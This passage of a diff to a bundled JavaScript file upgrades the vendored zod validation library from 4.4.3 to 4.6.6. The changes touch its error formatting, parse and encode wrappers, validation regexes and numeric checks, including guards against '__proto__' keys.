new Definition(); + } finally { + E.stackTraceLimit = saved; + } + } + } + return new Definition(); +} +// @__NO_SIDE_EFFECTS__ +function $constructor(name, initializer3, proto, params) { + const zodProto = {}; + function Internals(def) { + this.def = def; + this.constr = _; + this.traits = /* @__PURE__ */ new Set(); + } + Internals.prototype = zodProto; + const protoMembers = proto; + const initialized = protoMembers && /* @__PURE__ */ new WeakSet(); + function init(inst, def) { + if (!inst._zod) { + _zodDesc.value = new Internals(def); + try { + Object.defineProperty(inst, "_zod", _zodDesc); + } finally { + _zodDesc.value = void 0; + } + } else if (inst._zod.traits.has(name)) { + return; + } + inst._zod.traits.add(name); + initializer3(inst, def); + if (initialized) { + const own2 = Object.getPrototypeOf(inst); + const ctorProto = inst._zod.constr.prototype; + let up = own2; + while (up && up !== ctorProto) + up = Object.getPrototypeOf(up); + const target = up ?? own2; + if (!initialized.has(target)) { + initialized.add(target); + members(target, protoMembers); + } + } + const proto2 = _.prototype; + for (const k in proto2) { + if (!Object.prototype.hasOwnProperty.call(proto2, k)) + continue; + if (!(k in inst)) { + inst[k] = proto2[k].bind(inst); + } + } + } + const Parent = params?.Parent ?? Object; + class Definition extends Parent { + } + Object.defineProperty(Definition, "name", { value: name }); + function _(def) { + const inst = params?.Parent ? newError(Definition) : this; + init(inst, def); + const deferred = inst._zod.deferred; + if (deferred) { + for (const fn of deferred) { + fn(); + } + inst._zod.deferred = void 0; + } + const pp = globalThis.__zod_globalConfig?.postProcessor; + if (pp) + pp(inst); + return inst; + } + Object.defineProperty(_, "init", { value: init }); + Object.defineProperty(_, Symbol.hasInstance, { + value: (inst) => { + if (params?.Parent && inst instanceof params.Parent) + return true; + return inst?._zod?.traits?.has(name); + } + }); + Object.defineProperty(_, "name", { value: name }); + return _; +} +var $brand = /* @__PURE__ */ Symbol("zod_brand"); +var $ZodAsyncError = class extends Error { + constructor() { + super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); + } +}; +var $ZodEncodeError = class extends Error { + constructor(name) { + super(`Encountered unidirectional transform during encode: ${name}`); + this.name = "ZodEncodeError"; + } +}; +(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); +var globalConfig = globalThis.__zod_globalConfig; +function config(newConfig) { + if (newConfig) + Object.assign(globalConfig, newConfig); + return globalConfig; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/errors.js +function _getMessage() { + const internals = this._zod; + internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2)); + return internals.message; +} +function _setMessage(value) { + this._zod.message = value; +} +var _messageDesc = { + get: _getMessage, + set: _setMessage, + enumerable: true, + configurable: true +}; +var _issuesDesc = { value: void 0, enumerable: false }; +var _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +var initializer = (inst, def) => { + inst.name = "$ZodError"; + _issuesDesc.value = def; + Object.defineProperty(inst, "issues", _issuesDesc); + _issuesDesc.value = void 0; + Object.defineProperty(inst, "message", _messageDesc); + const proto = Object.getPrototypeOf(inst); + if (!_installedToString.has(proto)) { + _installedToString.add(proto); + Object.defineProperty(proto, "toString", { + configurable: true, + enumerable: false, + get() { + const value = () => this.message; + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + } + }); + } }; var $ZodError = $constructor("$ZodError", initializer); -var $ZodRealError = $constructor("$ZodError", initializer, { Parent: Error }); -function flattenError(error51, mapper = (issue2) => issue2.message) { +var $ZodRealError = $constructor("$ZodError", initializer, void 0, { + Parent: Error +}); +function node(obj, key, make) { + if (!Object.prototype.hasOwnProperty.call(obj, key)) { + if (key === "__proto__") { + Object.defineProperty(obj, key, { value: make(), writable: true, enumerable: true, configurable: true }); + } else { + obj[key] = make(); + } + } + return obj[key]; +} +function flattenError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = {}; const formErrors = []; - for (const sub of error51.issues) { + for (const sub of error62.issues) { if (sub.path.length > 0) { - fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || []; - fieldErrors[sub.path[0]].push(mapper(sub)); + node(fieldErrors, sub.path[0], () => []).push(mapper(sub)); } else { formErrors.push(mapper(sub)); } } return { formErrors, fieldErrors }; } -function formatError(error51, mapper = (issue2) => issue2.message) { +function formatError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = { _errors: [] }; - const processError = (error52, path = []) => { - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -48157,27 +48454,39 @@ function formatError(error51, mapper = (issue2) => issue2.message) { while (i < fullpath.length) { const el = fullpath[i]; const terminal = i === fullpath.length - 1; - if (!terminal) { - curr[el] = curr[el] || { _errors: [] }; - } else { - curr[el] = curr[el] || { _errors: [] }; - curr[el]._errors.push(mapper(issue2)); + if (el === "_errors") { + if (terminal) + curr._errors.push(mapper(issue2)); + i++; + continue; + } + if (!Object.prototype.hasOwnProperty.call(curr, el)) { + Object.defineProperty(curr, el, { + value: { _errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); } - curr = curr[el]; + const node2 = curr[el]; + if (terminal) { + node2._errors.push(mapper(issue2)); + } + curr = node2; i++; } } } } }; - processError(error51); + processError(error62); return fieldErrors; } -function treeifyError(error51, mapper = (issue2) => issue2.message) { +function treeifyError(error62, mapper = (issue2) => issue2.message) { const result = { errors: [] }; - const processError = (error52, path = []) => { - var _a3, _b; - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + var _a3; + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -48197,11 +48506,18 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { const terminal = i === fullpath.length - 1; if (typeof el === "string") { curr.properties ?? (curr.properties = {}); - (_a3 = curr.properties)[el] ?? (_a3[el] = { errors: [] }); + if (!Object.prototype.hasOwnProperty.call(curr.properties, el)) { + Object.defineProperty(curr.properties, el, { + value: { errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); + } curr = curr.properties[el]; } else { curr.items ?? (curr.items = []); - (_b = curr.items)[el] ?? (_b[el] = { errors: [] }); + (_a3 = curr.items)[el] ?? (_a3[el] = { errors: [] }); curr = curr.items[el]; } if (terminal) { @@ -48212,7 +48528,7 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { } } }; - processError(error51); + processError(error62); return result; } function toDotPath(_path) { @@ -48233,9 +48549,9 @@ function toDotPath(_path) { } return segs.join(""); } -function prettifyError(error51) { +function prettifyError(error62) { const lines = []; - const issues = [...error51.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); + const issues = [...error62.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); for (const issue2 of issues) { lines.push(`\u2716 ${issue2.message}`); if (issue2.path?.length) @@ -48244,32 +48560,41 @@ function prettifyError(error51) { return lines.join("\n"); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js -var _parse = (_Err) => (schema, value, _ctx, _params) => { - const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; - const result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) { - throw new $ZodAsyncError(); - } - if (result.issues.length) { - const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, _params?.callee); - throw e; - } - return result.value; +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/parse.js +function finalizeParams(callee, params) { + return { callee: params?.callee ?? callee, Err: params?.Err }; +} +var _parse = (_Err) => { + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + if (result.issues.length) { + const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, _params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parse = /* @__PURE__ */ _parse($ZodRealError); -var _parseAsync = (_Err) => async (schema, value, _ctx, params) => { - const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; - let result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) - result = await result; - if (result.issues.length) { - const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, params?.callee); - throw e; - } - return result.value; +var _parseAsync = (_Err) => { + const fn = async (schema, value, _ctx, params) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + if (result.issues.length) { + const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parseAsync = /* @__PURE__ */ _parseAsync($ZodRealError); var _safeParse = (_Err) => (schema, value, _ctx) => { @@ -48278,39 +48603,102 @@ var _safeParse = (_Err) => (schema, value, _ctx) => { if (result instanceof Promise) { throw new $ZodAsyncError(); } - return result.issues.length ? { - success: false, - error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParse = /* @__PURE__ */ _safeParse($ZodRealError); +function failure(Err, issues, ctx) { + let error62; + return { + success: false, + get error() { + if (!error62) { + error62 = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config()))); + issues = void 0; + ctx = void 0; + } + return error62; + }, + set error(e) { + error62 = e; + issues = void 0; + ctx = void 0; + } + }; +} var _safeParseAsync = (_Err) => async (schema, value, _ctx) => { const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; let result = schema._zod.run({ value, issues: [] }, ctx); if (result instanceof Promise) result = await result; - return result.issues.length ? { - success: false, - error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParseAsync = /* @__PURE__ */ _safeParseAsync($ZodRealError); -var _encode = (_Err) => (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parse(_Err)(schema, value, ctx); +var COMPILE_INVALID = /* @__PURE__ */ Symbol.for("zod.compile.invalid"); +var COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for("zod.compile.fallback"); +var validate = (schema, value, _ctx) => { + const validator = schema._zod.bag.validator; + if (validator !== void 0) { + if (validator(value) !== COMPILE_INVALID) + return true; + if (validator.definite === true && _ctx === void 0) + return false; + } + return validateFallback(schema, value, _ctx); +}; +function validateFallback(schema, value, _ctx) { + const ctx = _ctx ? { ..._ctx, async: false, abortEarly: true } : { async: false, abortEarly: true }; + const fallbackRun = schema._zod.bag.fallbackRun; + let result; + if (fallbackRun) { + ctx[COMPILE_FALLBACK] = true; + result = fallbackRun({ value, issues: [] }, ctx); + } else { + result = schema._zod.run({ value, issues: [] }, ctx); + } + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + return result.issues.length === 0; +} +var validateAsync = async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: true, abortEarly: true } : { async: true, abortEarly: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + return result.issues.length === 0; +}; +var _encode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return parse4(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encode2 = /* @__PURE__ */ _encode($ZodRealError); -var _decode = (_Err) => (schema, value, _ctx) => { - return _parse(_Err)(schema, value, _ctx); +var _decode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + return parse4(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decode2 = /* @__PURE__ */ _decode($ZodRealError); -var _encodeAsync = (_Err) => async (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parseAsync(_Err)(schema, value, ctx); +var _encodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return await parseAsync3(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encodeAsync = /* @__PURE__ */ _encodeAsync($ZodRealError); -var _decodeAsync = (_Err) => async (schema, value, _ctx) => { - return _parseAsync(_Err)(schema, value, _ctx); +var _decodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + return await parseAsync3(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decodeAsync = /* @__PURE__ */ _decodeAsync($ZodRealError); var _safeEncode = (_Err) => (schema, value, _ctx) => { @@ -48332,9 +48720,10 @@ var _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => { }; var safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync($ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/regexes.js var regexes_exports = {}; __export(regexes_exports, { + anyString: () => anyString, base64: () => base64, base64url: () => base64url, bigint: () => bigint, @@ -48342,8 +48731,10 @@ __export(regexes_exports, { browserEmail: () => browserEmail, cidrv4: () => cidrv4, cidrv6: () => cidrv6, + creditCard: () => creditCard, cuid: () => cuid, cuid2: () => cuid2, + currencyCode: () => currencyCode, date: () => date, datetime: () => datetime, domain: () => domain, @@ -48357,6 +48748,7 @@ __export(regexes_exports, { hostname: () => hostname, html5Email: () => html5Email, httpProtocol: () => httpProtocol, + iban: () => iban, idnEmail: () => idnEmail, integer: () => integer, ipv4: () => ipv4, @@ -48368,6 +48760,7 @@ __export(regexes_exports, { md5_base64url: () => md5_base64url, md5_hex: () => md5_hex, nanoid: () => nanoid, + nanoidOfLength: () => nanoidOfLength, null: () => _null, number: () => number, rfc5322Email: () => rfc5322Email, @@ -48397,10 +48790,13 @@ __export(regexes_exports, { }); var cuid = /^[cC][0-9a-z]{6,}$/; var cuid2 = /^[0-9a-z]+$/; -var ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/; +var ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/; var xid = /^[0-9a-vA-V]{20}$/; var ksuid = /^[A-Za-z0-9]{27}$/; var nanoid = /^[a-zA-Z0-9_-]{21}$/; +function nanoidOfLength(length) { + return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`); +} var duration = /^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/; var extendedDuration = /^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/; var guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/; @@ -48412,13 +48808,13 @@ var uuid = (version3) => { var uuid4 = /* @__PURE__ */ uuid(4); var uuid6 = /* @__PURE__ */ uuid(6); var uuid7 = /* @__PURE__ */ uuid(7); -var email = /^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; +var email = /^(?:[A-Za-z0-9_'+\-]+\.)*[A-Za-z0-9_'+\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; var html5Email = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; var rfc5322Email = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; var unicodeEmail = /^[^\s@"]{1,64}@[^\s@]{1,255}$/u; var idnEmail = unicodeEmail; var browserEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; -var _emoji = `^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$`; +var _emoji = `^(?=[\\s\\S]*[\\p{Extended_Pictographic}\\p{Regional_Indicator}\\u20E3])[\\p{Extended_Pictographic}\\p{Emoji_Component}]+$`; function emoji() { return new RegExp(_emoji, "u"); } @@ -48429,33 +48825,38 @@ var mac = (delimiter) => { return new RegExp(`^(?:[0-9A-F]{2}${escapedDelim}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${escapedDelim}){5}[0-9a-f]{2}$`); }; var cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/; -var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; +var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; var base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/; -var base64url = /^[A-Za-z0-9_-]*$/; +var base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/; var hostname = /^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/; -var domain = /^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/; +var domain = /^(?=.{1,253}$)([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,63}$/; var httpProtocol = /^https?$/; var e164 = /^\+[1-9]\d{6,14}$/; +var creditCard = /^\d(?:[ -]?\d){11,18}$/; +var currencyCode = /^(?:AED|AFN|ALL|AMD|AOA|ARS|AUD|AWG|AZN|BAM|BBD|BDT|BHD|BIF|BMD|BND|BOB|BOV|BRL|BSD|BTN|BWP|BYN|BZD|CAD|CDF|CHE|CHF|CHW|CLF|CLP|CNY|COP|COU|CRC|CUP|CVE|CZK|DJF|DKK|DOP|DZD|EGP|ERN|ETB|EUR|FJD|FKP|GBP|GEL|GHS|GIP|GMD|GNF|GTQ|GYD|HKD|HNL|HTG|HUF|IDR|ILS|INR|IQD|IRR|ISK|JMD|JOD|JPY|KES|KGS|KHR|KMF|KPW|KRW|KWD|KYD|KZT|LAK|LBP|LKR|LRD|LSL|LYD|MAD|MDL|MGA|MKD|MMK|MNT|MOP|MRU|MUR|MVR|MWK|MXN|MXV|MYR|MZN|NAD|NGN|NIO|NOK|NPR|NZD|OMR|PAB|PEN|PGK|PHP|PKR|PLN|PYG|QAR|RON|RSD|RUB|RWF|SAR|SBD|SCR|SDG|SEK|SGD|SHP|SLE|SOS|SRD|SSP|STN|SVC|SYP|SZL|THB|TJS|TMT|TND|TOP|TRY|TTD|TWD|TZS|UAH|UGX|USD|USN|UYI|UYU|UYW|UZS|VED|VES|VND|VUV|WST|XAD|XAF|XAG|XAU|XBA|XBB|XBC|XBD|XCD|XCG|XDR|XOF|XPD|XPF|XPT|XSU|XTS|XUA|XXX|YER|ZAR|ZMW|ZWG)$/; +var iban = /^[A-Z]{2}(?!00|01|99)\d{2}[A-Z0-9]{11,30}$/; var dateSource = `(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))`; -var date = /* @__PURE__ */ new RegExp(`^${dateSource}$`); +function anchor(source) { + return new RegExp(`^${source}$`); +} +var date = /* @__PURE__ */ anchor(dateSource); function timeSource(args) { const hhmm = `(?:[01]\\d|2[0-3]):[0-5]\\d`; - const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; + const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\d(?:\\.\\d+)?` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; return regex; } function time(args) { return new RegExp(`^${timeSource(args)}$`); } function datetime(args) { - const time4 = timeSource({ precision: args.precision }); const opts = ["Z"]; - if (args.local) - opts.push(""); if (args.offset) opts.push(`([+-](?:[01]\\d|2[0-3]):[0-5]\\d)`); - const timeRegex = `${time4}(?:${opts.join("|")})`; + const qualified = `${timeSource({ precision: args.precision, seconds: true })}(?:${opts.join("|")})`; + const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified; return new RegExp(`^${dateSource}T(?:${timeRegex})$`); } +var anyString = /^[\s\S]{0,}$/; var string = (params) => { const regex = params ? `[\\s\\S]{${params?.minimum ?? 0},${params?.maximum ?? ""}}` : `[\\s\\S]*`; return new RegExp(`^${regex}$`); @@ -48491,13 +48892,21 @@ var sha512_hex = /^[0-9a-fA-F]{128}$/; var sha512_base64 = /* @__PURE__ */ fixedBase64(86, "=="); var sha512_base64url = /* @__PURE__ */ fixedBase64url(86); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/checks.js var $ZodCheck = /* @__PURE__ */ $constructor("$ZodCheck", (inst, def) => { var _a3; inst._zod ?? (inst._zod = {}); inst._zod.def = def; (_a3 = inst._zod).onattach ?? (_a3.onattach = []); }); +var _whenHasSize = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; +}; +var _whenHasLength = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; +}; var numericOriginMap = { number: "number", bigint: "bigint", @@ -48506,22 +48915,12 @@ var numericOriginMap = { var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.maximum : bag.exclusiveMaximum) ?? Number.POSITIVE_INFINITY; - if (def.value < curr) { - if (def.inclusive) - bag.maximum = def.value; - else - bag.exclusiveMaximum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value <= def.value : payload.value < def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_big", maximum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -48534,22 +48933,12 @@ var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.minimum : bag.exclusiveMinimum) ?? Number.NEGATIVE_INFINITY; - if (def.value > curr) { - if (def.inclusive) - bag.minimum = def.value; - else - bag.exclusiveMinimum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value >= def.value : payload.value > def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_small", minimum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -48561,14 +48950,13 @@ var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", }); var $ZodCheckMultipleOf = /* @__PURE__ */ $constructor("$ZodCheckMultipleOf", (inst, def) => { $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - var _a3; - (_a3 = inst2._zod.bag).multipleOf ?? (_a3.multipleOf = def.value); - }); inst._zod.check = (payload) => { if (typeof payload.value !== typeof def.value) throw new Error("Cannot mix number and bigint in multiple_of check."); - const isMultiple = typeof payload.value === "bigint" ? payload.value % def.value === BigInt(0) : floatSafeRemainder(payload.value, def.value) === 0; + const isMultiple = typeof payload.value === "bigint" ? ( + // `value % 0n` throws, and nothing is a multiple of zero — the number branch already fails this way via NaN + def.value !== BigInt(0) && payload.value % def.value === BigInt(0) + ) : floatSafeRemainder(payload.value, def.value) === 0; if (isMultiple) return; payload.issues.push({ @@ -48587,32 +48975,24 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" const isInt = def.format?.includes("int"); const origin = isInt ? "int" : "number"; const [minimum, maximum] = NUMBER_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - if (isInt) - bag.pattern = integer; - }); inst._zod.check = (payload) => { - const input = payload.value; + const input2 = payload.value; if (isInt) { - if (!Number.isInteger(input)) { + if (!Number.isInteger(input2)) { payload.issues.push({ expected: origin, format: def.format, code: "invalid_type", continue: false, - input, + input: input2, inst }); return; } - if (!Number.isSafeInteger(input)) { - if (input > 0) { + if (!Number.isSafeInteger(input2)) { + if (input2 > 0) { payload.issues.push({ - input, + input: input2, code: "too_big", maximum: Number.MAX_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -48623,7 +49003,7 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" }); } else { payload.issues.push({ - input, + input: input2, code: "too_small", minimum: Number.MIN_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -48636,10 +49016,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" return; } } - if (input < minimum) { + if (input2 < minimum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -48647,10 +49027,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -48663,18 +49043,12 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat", (inst, def) => { $ZodCheck.init(inst, def); const [minimum, maximum] = BIGINT_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - }); inst._zod.check = (payload) => { - const input = payload.value; - if (input < minimum) { + const input2 = payload.value; + if (input2 < minimum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -48682,10 +49056,10 @@ var 